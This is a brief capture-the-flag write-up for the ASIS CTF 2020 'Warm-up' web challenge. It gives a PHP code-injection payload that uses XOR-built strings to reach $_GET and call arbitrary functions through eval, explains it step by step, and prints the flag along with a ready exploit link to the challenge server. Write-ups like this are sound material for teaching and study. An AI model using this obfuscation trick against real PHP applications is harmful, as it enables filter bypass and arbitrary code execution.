**Payload: ``` $_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=highlight_file&__=flag.php```**

**Explaining:**
- ```$_="`{{{"^"?<>/";``` | Result of xor operation: ```$_ = "_GET"```
- ```${$_}[_](${$_}[__]);``` | Function call: ```$_GET[_]($_GET[__])```
- Setting the parameters, eval function will run: ```eval(highlight_file('flag.php'))```

**Flag:** ASIS{w4rm_up_y0ur_br4in}

**[GET THE FLAG](http://69.90.132.196:5003/?warmup=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=highlight_file&__=flag.php)**

Original writeup (https://github.com/EffectRenan/CTF/tree/ASISCTF_2020/web/Warm-up).